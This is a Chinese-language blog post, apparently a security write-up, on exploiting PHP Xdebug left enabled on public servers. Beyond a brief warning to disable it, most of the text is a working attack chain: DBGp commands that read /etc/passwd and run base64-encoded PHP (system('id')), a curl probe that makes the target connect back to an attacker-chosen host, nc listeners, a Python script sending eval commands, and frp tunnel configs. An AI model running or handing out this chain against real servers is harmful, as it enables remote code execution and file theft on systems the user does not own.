Php Xdebug
2 minute read
温馨提示: 放置到公网的 PHP 环境,请务必关闭 Xdebug.
Xdebug 调试 PHP
- 配置
xdbeug.mode
可设置 xdebug 开启的模式. - 配置
xdebug.start_with_request
可通过设置请求参数XDEBUG_SESSION_START=phpstrom
或者设置环境变量XDEBUG_SESSION=1
或者设置请求头信息Cookie: XDEBUG_SESSION=start
等方式开启 xdebug - 配置
xdebug.discover_client_host
, 支持通过X-Forwarded-For
头信息获取调试客户端的地址 - 配置
xdebug.client_host
,xdebug.client_port
指定调试客户端的地址和端口 - Xdebug 支持
dbgp 调试协议
, 可以用来进行源码阅读, 执行 eval 指令, 开启交互式 shell 等危险操作 - Xdebug 的一般配置
zend_extension=xdebug.so
[xdebug]
xdebug.mode=debug
xdebug.start_with_request=trigger ; start only XDEBUG_SESSION or XDEBUG_TRIGGER environment varibale is set
xdebug.discover_client_host=yes
xdebug.client_host=host.docker.internal
xdebug.client_port=9000
xdebug.idekey=VSCODE
Xdebug DBGp 协议
通过阅读 DBGp 的文档,我们可以注意到一些比较敏感的命令。
- Core Commands > source
- Extended Commands > eval
- Extended Commands > interact - Interactive Shell
- Core Commands > property_set
1. source -i transaction_id -f FILE_URI
transaction_id
貌似没有那么硬性的要求,每次都为 1 即可 FILE_URI 是要读取的文件的路径,需要注意的是
Xdebug 也受限于 open_basedir
source -i 1 -f file:///etc/passwd
此处也可以用 php://PHP_SCRIPT_LOCATION
来读取文件, 因而也可能用来发起 SSRF 攻击
2. eval -i transaction_id -- {DATA}
{DATA}
为 base64 过的 PHP 代码。
3. interact
暂未研究
4. property_set
根据 Xdebug 实现的 dbgp 协议, property_set 存在一处执行 evel 命令的入口, 详见源码 handler_dbgp.c
/* Do the eval */
eval_string = xdebug_sprintf("%s = %s %s", CMD_OPTION_CHAR('n'), cast_as, new_value);
res = xdebug_do_eval(eval_string, &ret_zval);
利用方式:
property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw==
property_get -n $a -i 1 -c 1 -p 0
服务器 Xdebug 嗅探
通过一条 CURL 指令即可嗅探目标服务器是否开启了 Xdebug
curl -v "http://${TARGET_HOST}/?XDEBUG_SESSION_START=phpstrom" \
-H "X-Forwarded-For: ${XDEBUG_CLIENT_HOST}" -H "Cookie: XDEBUG_SESSION=start"
原理简介: 服务器端开启了 Xdebug 在收到请求时, 发现请求携带了 XDEBUG_SESSION_START
参数或者 Cookie: XDEBUG_SESSION=start
头信息, 会尝试用 X-Forwarded-For
所指定的地址作为 Xdebug 的远端(xdebug client), 向其发起连接, 连接的端口为 xdebug.client_port
设置的值.
配置 Xdebug Client
即用来与目标机器 xdebug 交互的 client.
方式一: 简单的通过 nc
命令, 监听常见的 xdebug client 端口 9000
, 9003
nc -lvv 9000
nc -lvv 9003
运行 CURL 嗅探请求, 当 nc 回显出类似如下的 xml 文档,即说明目标机器 xdebug 处于可利用状态.
方式二: 利用脚本文件, 实现当 xdebug 与 client 建立连接后, client 交互式的发送指令给目标机器
xdebug.py
#!/usr/bin/python3
import socket
import base64
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
print("<<\n")
print(client_data)
print("\n")
data = input('>> ')
data = base64.b64encode(data.encode('utf-8'))
print('eval -i 1 -- %s\x00' % data.decode('utf-8'))
conn.sendall(('eval -i 1 -- %s\x00' % data.decode('utf-8')).encode('utf-8'))
利用 gofrp 实现将本机作为 xdebug client, 方便调试
frps.ini
; frps.ini
[common]
bind_port = 7000
kcp_bind_port = 7000
token = whatthefuck
fprc.ini
; frpc.ini
[common]
server_addr = xxx.xxx.xxx.xxx
server_port = 7000
token = whatthefuck
[tcp_9000]
type = tcp
local_port = 9000
[tcp_9003]
type = tcp
local_port = 9003
运行命令启动 client
python3 xdebug.py
frpc -c ./frpc.ini
接着即可用 CURL 嗅探指令来建立 xdebug 连接, 注意 X-Forwarded-For
应当指定为 frps 服务器地址
curl -v "http://${TARGET_HOST}/?XDEBUG_SESSION_START=phpstrom" \
-H "X-Forwarded-For: ${FRPS_HOST}" -H "Cookie: XDEBUG_SESSION=start"